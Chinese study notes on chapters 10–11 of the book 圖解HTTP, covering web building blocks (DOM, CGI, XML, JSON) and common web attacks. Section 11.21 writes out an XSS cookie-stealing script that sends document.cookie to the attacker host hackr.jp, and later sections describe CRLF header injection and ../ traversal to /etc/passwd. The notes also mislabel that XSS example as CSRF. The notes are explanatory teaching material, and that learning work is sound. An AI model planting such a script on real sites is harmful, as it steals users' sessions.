1. 程式人生 > >《圖解Http》 10,11章:構建Web的技術, Web的攻擊技術

《圖解Http》 10,11章:構建Web的技術, Web的攻擊技術

避免 註意 ons traversal 字符串 語句 directory 劫持 分析器

10.2動態HTML

通過調用客戶端腳本語言js,實現對web頁面的動態改造。利用DOM文檔對象模型,指定想發生變化的元素。

10.22 更容易控制的DOM

使用DOM可以將HTML內的元素當作對象操作。

10.3 Web應用

10.31通過Web提供功能的Web應用。

技術分享圖片

10.32 與web服務器協作的CGI

Common Gateway Interface 通用網關接口:指服務器收到客戶端發過來的請求後,轉發給程序的一組機制。

技術分享圖片

10.4 數據發布的格式,語言

10.41 XML (extensible Markup Language)可擴展標記語言

對數據的記錄方式做了特別的處理,更適合記錄數據結構。

從XML文檔中讀取數據比HTML更簡單。

由於XML的結構基本上是用標簽分割的樹形結構,因此通過語法分析器的解析功能解析XML結構並取出數據元素,可更容易地對數據進行讀取。

10.43 JavaScript 衍生的輕量級JSON

JavaScript Object Notation。

以JS的對象表示法為基礎的輕量級數據標記語言。



11 攻擊技術

11.12 在客戶端即可篡改請求

在請求報文內加載攻擊代碼:

通過URL查詢字段或表單, HTTP header, Cookie等途徑把攻擊代碼傳入,如果存在安全漏洞,內部信息就會遭到竊取,或被攻擊者拿到管理權。

11.13 對Web應用的攻擊模式

  • 主動攻擊: 針對服務器上的資源進行攻擊。SQL註入攻擊, OS命令註入攻擊。
  • 被動攻擊:利用圈套周恩來執行攻擊代碼。 Xss跨站腳本攻擊。跨站請求偽造。
  1. 誘使用戶觸發設置好的陷阱,陷阱會啟動發送已經嵌入的攻擊代碼的HTTP請求。
  2. 中招後,瀏覽器或郵件客戶端會觸發這個陷阱。
  3. 中招的瀏覽器把帶攻擊代碼的請求發送給作為攻擊目標的web應用,並運行攻擊代碼。
  4. 執行完攻擊代碼後,存在安全漏洞的web應用會成為攻擊者的跳板,導致用戶的Cookie等信息被竊取,登陸狀態中的用戶權限遭到惡意濫用等。

技術分享圖片

11.2 因輸出值轉意不完全引發的安全漏洞

客戶端的驗證:

主要采取javascript進行簡單的驗證,輔助性驗證,用於提高用戶交互行為的體驗。因為js可以被用戶關閉,所以不能起到安全防護作用。

web服務器端的驗證:

  • 輸入值驗證: 可能會輸入攻擊代碼,因此需要檢查是否符合業務邏輯(字符編碼,數值)
  • 輸出值轉意:對輸出值進行轉意處理是重要的安全策略。

11.21 跨站腳本攻擊

攻擊者利用預先設置的陷阱觸發被動攻擊,具體可見之前的博客(全棧案例)

通過加上<script>執行javascript動作,或者塞入其他標簽。

例子:對Cookie的偷取:

<script src=‘http://hackr.jp/xss.js‘></script>

這行代碼的作用:把js文件內的代碼加載到使用的頁面中。src屬性指定了一個額外的script文件的URL.

js文件內容:

var content = encodeURI(document.cookie);

document.write("<img src=‘http://hackr.jp/? ‘");

document.write(content);

document.write(">");

上面第一行得到cookie信息,然後後3行組成一個<img src=‘xxx‘>,

黑客可以通過添加評論的方法把這段腳本傳到當前網頁上,因為並沒有真實的圖片,所以出現一個破碎的圖片圖標。

當用戶訪問這個帶漏洞的網頁時,會執行腳本,<img>標簽的src是一個帶當前Cookie信息的請求,會轉到攻擊者的網站。攻擊者網站的日誌會記錄下這個Cookie。

總結:

這是一個跨站偽造請求攻擊Cross-site request forgery,xss的變種。

CSRF是一種挾制用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法。


11.22 SQL Injection攻擊

Web應用通常會用到數據庫,比如對數據進行檢索操作。

精通sql語法的黑客利用這點,在檢索框內增加導致刪除或某些目的性的sql半截語句,點擊確認按鈕後,

會和內置的SQL語法組合起來形成破壞性的SQL語法。

註意: 一般會利用 -- 標記,這代表後面的代碼全部為註釋。

技術分享圖片

在Rails中,使用where子句,可以用特殊的寫法避免。

例子: BookTbI.where("author = ?", "xxx"), 這樣數據庫會知道, 上野宣‘ -- 中的‘分號只是普通的代碼,並不起到分號本身的作用。


11.23 OS命令註入攻擊

通過web應用,執行非法的操作系統命令達到攻擊目的。

在可以調用Shell函數的地方就有風險。

11.24 HTTP 首部註入攻擊 HTTP Header Injection

通過在響應的首部字段內插入換行,添加任意響應首部或主體的一種攻擊。(被動攻擊)

  • 設置任何Cookie信息
  • 重定向到任何URL
  • 顯示任意的主體: HTTP 響應截斷攻擊 HTTP Response Splitting Attack

例子:首部註入攻擊

技術分享圖片

%0D%0A 這個是換行符號。

所以強制增加Set-Cookie首部。

設置了Cookie後,攻擊者可以偽裝用戶。

這是首部註入攻擊,插入任意的首部字段。

HTTP響應截斷攻擊

首部註入攻擊的一種,攻擊順序一樣,但是要將兩個 %0D%0A%%0D%0A 插入字符串後發送。

利用兩個連續的換行作出HTTP首部和主體分隔所需要的空行,這樣就能偽造主體,達到攻擊目的。

技術分享圖片

??, <! -- 這個是註釋。


11.25郵件首部註入攻擊

11.26 Directory Traversal 目錄遍歷攻擊

通過非法截斷其目錄路徑後,達成訪問的一種攻擊。

使用.../ 等相對路徑定位到/etc/passed/等絕對路徑上,導致服務器上的文件被訪問到。

然後黑客就隨便瀏覽,篡改,刪除服務器上的內容拉,啊哈哈哈。

應該關閉指定對任意文件名的訪問權限。

技術分享圖片



11.4 Session 的安全漏洞

11.41 Session hijack 會話劫持

  • 通過非正規的生成方法推測會話??
  • 通過竊聽或XSS攻擊盜取會話ID(下圖)
  • 通過Session Fixation 強制獲取會話id

通過某種手段拿到用戶的session id, 並偽裝成用戶/

技術分享圖片


11.5其他安全漏洞

11.51密碼破解

對已加密密碼的破解:

因為密碼做了散列函數處理或加了salt。

技術分享圖片

11.52 點擊劫持

利用透明的按鈕或鏈接做陷阱,覆蓋在web頁面上,誘使用戶在不知情的情況下,點擊哪個鏈接。

也叫界面偽裝。

其他安全漏洞:

DoS攻擊,後門程序。

《圖解Http》 10,11章:構建Web的技術, Web的攻擊技術